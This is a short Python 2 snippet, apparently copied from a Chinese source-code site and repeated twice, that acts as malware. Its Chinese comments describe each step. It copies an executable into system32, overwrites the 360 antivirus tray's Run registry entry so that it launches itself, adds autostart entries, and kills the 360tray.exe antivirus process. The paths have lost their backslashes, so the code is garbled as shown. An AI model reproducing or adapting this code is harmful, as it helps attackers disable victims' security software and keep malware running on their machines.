import _winreg
import os import shutil #复制自身 shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe) #把360启动改为自身 run = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( run,"360Safetray",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #添加自启动 self = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( run,"k3",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #添加所有用户启动 allrun = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( allrun,"k3",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #终止360进程 os.popen("ntsd -c q -pn 360tray.exe cmd")
本文章来至源码世界 http://www.ymsky.net/views/85133.shtml
import _winreg
import os import shutil #复制自身 shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe) #把360启动改为自身 run = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( run,"360Safetray",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #添加自启动 self = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( run,"k3",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #添加所有用户启动 allrun = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE ) _winreg.SetValueEx( allrun,"k3",0,_winreg.REG_SZ, r"C:WINDOWSsystem32k3.exe" ) #终止360进程 os.popen("ntsd -c q -pn 360tray.exe cmd")